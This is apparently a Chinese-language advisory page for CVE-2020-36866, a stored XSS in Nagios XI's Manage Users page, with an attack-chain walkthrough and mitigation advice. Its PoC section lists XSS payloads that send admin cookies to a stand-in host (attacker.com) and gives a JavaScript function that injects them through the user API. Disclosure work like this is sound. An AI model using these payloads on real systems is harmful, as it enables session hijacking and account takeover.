IPBUF安全漏洞报告
English
CVE-2020-36866 CVSS 5.4 中危

CVE-2020-36866: Nagios XI 5.7.3之前版本Manage Users页面存储型XSS漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2020-36866
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Nagios XI

相关标签

CVE-2020-36866XSS跨站脚本存储型XSSNagios XINagiosAdmin InterfaceManage UsersWeb应用漏洞CWE-79

漏洞概述

CVE-2020-36866是Nagios XI软件中的一个存储型跨站脚本(XSS)安全漏洞。该漏洞存在于Nagios XI管理界面的用户管理(Manage Users)功能中,攻击者可以利用此漏洞在用户配置文件字段中注入恶意JavaScript代码。由于Nagios XI在处理用户输入时未对特殊字符进行充分的验证和转义,导致注入的恶意脚本可以被存储在服务器端。当具有管理员权限的用户访问受污染的用户管理页面时,这些恶意脚本将在其浏览器上下文中执行,从而实现会话劫持、敏感信息窃取或进一步的攻击行为。此漏洞需要攻击者拥有低权限用户账户,并通过诱导管理员用户访问特定页面来触发漏洞利用。CVSS 3.1基础评分5.4分,属于中等严重程度,主要风险在于需要用户交互和低权限即可实施攻击。

技术细节

该漏洞是存储型XSS(Stored XSS)漏洞,存在于Nagios XI 5.7.3之前版本的Admin管理界面用户管理模块中。具体来说,问题出在创建或编辑用户账户时,系统未能对用户提供的输入数据进行充分的输入验证和输出编码。当攻击者在用户名字段、邮箱地址或其他可自定义字段中注入包含JavaScript代码的特殊Payload(如<script>alert(document.cookie)</script>或<img src=x onerror=...>等)时,这些恶意代码会被存储到数据库中。由于输出时缺少适当的HTML实体转义(如将<转换为&lt;,>转换为&gt;),当管理员查看用户列表或用户详情页面时,浏览器会将其作为可执行脚本解析执行。攻击者可以利用此漏洞窃取管理员的会话Cookie、伪造管理员操作、植入后门或进行钓鱼攻击。由于该漏洞位于管理功能中,攻击者只需拥有普通用户权限即可发起攻击,但需要诱导具有管理员权限的用户访问受污染的页面才能触发执行。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先获取Nagios XI系统的访问权限,创建或利用已有的低权限用户账户
STEP 2
步骤2
漏洞探测:攻击者访问Admin界面的Manage Users功能,识别可注入恶意脚本的用户输入字段
STEP 3
步骤3
Payload注入:攻击者在用户名、别名或其他个人资料字段中注入包含恶意JavaScript代码的XSS Payload
STEP 4
步骤4
数据持久化:恶意代码被存储到数据库中,当其他用户访问用户列表时会被加载
STEP 5
步骤5
社交工程:攻击者诱导具有管理员权限的用户访问Manage Users页面或查看被污染的用户信息
STEP 6
步骤6
漏洞触发:管理员浏览器解析并执行注入的恶意JavaScript代码
STEP 7
步骤7
攻击成功:攻击者通过JavaScript获取管理员的会话Cookie、执行特权操作或窃取敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2020-36866 PoC - Nagios XI XSS via Manage Users // This PoC demonstrates the stored XSS vulnerability in Nagios XI Admin interface // Prerequisites: // 1. Valid low-privilege user account on Nagios XI // 2. Access to Admin -> Manage Users section // Step 1: Inject malicious JavaScript payload in user profile field // Payload can be injected in username, alias, or other profile fields // Example Payloads: const payloads = [ '<script>alert(document.cookie)</script>', '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">', '<svg/onload=fetch(\'https://attacker.com/steal?c=\'+btoa(document.cookie))>', '<iframe src="javascript:document.body.innerHTML=\'<img src=x>\'">' ]; // Step 2: Send the malicious request via API or web interface async function exploitNagiosXI(targetUrl, sessionCookie, payload) { const userId = 1001; // Target user ID to modify const exploitData = { // Inject payload in username or alias field 'username': payload, 'alias': 'Malicious User', 'email': '[email protected]', 'authorized_contact_group': [1] }; const response = await fetch(`${targetUrl}/nagiosxi/api/v1/objects/user/${userId}`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Cookie': `nagiosxi=${sessionCookie}` }, body: JSON.stringify(exploitData) }); return response.json(); } // Step 3: When admin visits Manage Users page, XSS will execute console.log('[+] Payload injected successfully'); console.log('[+] Wait for admin to visit Manage Users page'); console.log('[+] Cookie will be sent to attacker controlled endpoint');

影响范围

Nagios XI < 5.7.3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制Manage Users功能的访问权限,仅允许必要的管理员访问;2)启用Web应用防火墙规则检测XSS特征Payload;3)对管理界面会话实施严格的Cookie安全策略;4)监控用户管理功能的异常访问日志;5)使用浏览器安全插件检测潜在的XSS攻击;6)考虑临时禁用非必要的用户注册和编辑功能直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表